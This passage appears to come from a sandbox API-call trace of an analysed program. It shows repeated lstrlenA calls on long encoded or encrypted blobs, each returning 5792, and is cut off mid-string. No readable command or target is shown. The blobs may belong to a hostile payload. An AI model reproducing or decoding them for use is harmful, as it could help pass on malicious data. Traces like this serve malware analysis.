QHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.813] lstrlenA (lpString="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") returned 5792 [0163.813] lstrlenA (lpString="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") returned 5792 [0163.813] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIf+0N28mb2vr3aXchTdD+WbBKQdz0Gu/4kKWBVtcKvqkzx8GVFxBSMUV2JZb+3ouUYyRhgbF/uI7lfPRVYtSPztoHz6H4GzWrALB56M8BFeWraI6KtmzyKB1ILtZvS1fDmo/z7N6EcyEUZAW+NLuqwnFFhm7h8ZWHuh3GruC/eVcGETHY3L7aejps7DMbpHKif7b2AjdvFTQepGXLPyTjM9lPaesuuR1CoZtJeTHbIBMZIZTgNgSFJ2rrr59CB46LZ+OaOOCaA1qDNWamwBLkIKqYSGcoUYui3l4KirmUjSAig893axbz1fvN8yHRRzQ0dRynDRTgYek2L0RrovDVvPDa8llXxG/qJckHpgVys/RR2FoXdQA9MMU9Wng97D4kw+AHcmjv/T5iPN/chdULDoIOsDPGQ3TtYiA66TRxYtQkrReWZX1wStPHwdoCoXiQH7hf+vtY9VkJ8Fllv0wem2B/emj6DY84MZ9vDSKp1/b1KNW/BBkQceodXREUq5CA9LMCGgwag14LwGz0aXP36gXvXngMqwvUYJ0aNqqFdDds9eb7aXooJ5mWroQZyFnwesHOYH4bPsXX5Khm6vJrx6vGBI6E/51Fgk36cgRPboCMqlyZjBPNSESEb/vfhLhpFFN1g7CxtYJvjZ40lhxHAv+gJlX/otmiepAXaspolSitqafDjGl/QCfh5lY0khQMq/tC9yEKY8gO2McBEyrOcUTHEDnzu43mNhT7WGLTWAqUtKVj/twLiIFmcqZOqf86dlezZYECBFD5uTJpu/ey94Oi4dUI3YSmRErWm+mbqSqVl/k2AJFYNz+ZdccACWaylJo/sSF8sUr7lmt5AWFj2t/Vnt6VPh65tOb549w50NzixamjLIn6QIjOzNXyPAi7Fji74nCMJZ6NU/Knxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKR8BW0Pmr14+9yo1Ng0kNjRPyL3dKoxYB4zGMqXhj4XDoYQ7Af3yfBO96D+65nUTiPHL1wXYer7mJZ96VuVjY9EYrC37n96eaQqQ4H7Jmd/hgZu+U2NuPym12JzoYTekUp9meAZZYXH0+MgMQ4106UXp490Icvv0mrWVlSIauDScgQuq6VDwoemePMTeULD/EK91GWPzo1NuWTeuddtxsqVSoPrRzoKtIak5m7s3CH0Dmh7VOvL1jVDYR6XOyqPgA/W1I90y1XZVOxveyu8MtOoG9Z2F2zcmJWBGxq1ZVOJ2wH1STU822MJQvW+sA1ZKA5cbIbZ3vnDQKSnFsZC5lhgyuVyeiRUXq4BwK3DLJjMchKGYbE2mxPhwGXLvT/kABtJmx0V0PALpvGUoWm5G+FC2VW5ryNKeM/VtBU9Oj0lk00JwB1uxwD1KS+K8y9xgsdPPItQSi5zU538gPhPkqFTS8FhvJG9S2NUvj+5nBpY9r3+nzNJWsnxHgm4uTrPbT8A0lKNQ4+lc+24cFMNCtrPXTLZb4HVKwyiHM0Qr7TEgOMU/eBofUhUDzbmOMCdOWgP8ysnaQyW4UiEoES2rfK139f5Q31GlQtX4YhI7Kprv6intucnG3lBcpHAQp7wVHsdr8ruyzumwBuN2FhYjTEgBLwd/e5yknjbGU0Gb3X3qxHxmqQj5iueqZPMhnfrmnozES2SdZkrVJNK6I9rpPfFpJ2NTvVtS4pvZ0bA4QuXoXxASuNdp5YWaphbGzi+75nK6Tc+pXtCkQpsPN7TUQWAqcEym+o9oggS2RJSwvXhBZofJLnptQAHB0UEWa42gHGHdICvNQI5uVc1sn+GKdAEz+2IN9YgztqC9ola/bZr4qcqE6/cO/EagQp536HqZCyEArWyIl7b3mHPcqJbYObGDjmaHz80lP7phXNoKASWZt44ygPGPbkZRQ0hemrjIrOgCDxo3IyZ0VKD2NmH2+X/tzNOx+U/dQ7lRXNHZQkSrOCQxSCLaf3xPgr2Exrr8VfbI52LWmS8YV143fclYqG0h3Ugs0SAMRknU6F5/HJMs6GONma7S/hs/QDVbs7wUyeRVSRAsjNw+NdqhpOXm4Xs+MjfQOP6Pl6TK6hSarW9TVL2aF4+5W4Q8HSEU8x25k/le/W0bnMxQk3ZLEUoYIFAZH+yzVGHYkkKVR3xpVeCUBqN98UpOyYtAv+Vo6pto8ElGvJtNT14Hph9ZU37J8av3sl4BWtx7jlXea0hzGS6EfjDCcc/I/GtKzFAy3ePRyznzsyRN86LVmvVSTqNv4RPwo2UQKQZlV0vvomMJi7iG2/XakwXVTC5nhs7qj6LlTC25F2W71jihItCP0ZwW6Gr8GIu54sofIQgujJmmYO/v3Ma5eCzQDKW8zQ3rdcwzb4Fby+JSYy9FlQe04h9bXHwJD4utvpFAhYatygYQZxtCA8AQmL8fXYudRx2K4xIHULMwC1t9KC5e8xozb6MNM0zKVdFBoXuSmcdi7GTJOOqhBsxJXoiDTzo1mnMZOT/J+uR3AVmUDxAid1oQ2ZLJFYxFMAwzgGz2GmjMuorZ23ijPyDOXTx3WosyG7ZEVBnQiErmPD0uZIHISbT7jxu4ZnDlAG4wdDKaPuECQ/QDFPbD2Rp2YnhXQph0KnvDGOgpjyAKkktYUSwZa4nmdUMKwDqj83gRKeGTvxibNcIZiK8GylD1Lpk3B57nrjtnQRq5VglTHATycQFn93TxEpiyWr7V4r6lgPEfDIB13AOVP5LLawF6y5MqPCgNuxB5FXRcEH1GQ6HcmmD9pY6nHoWF5o3fNj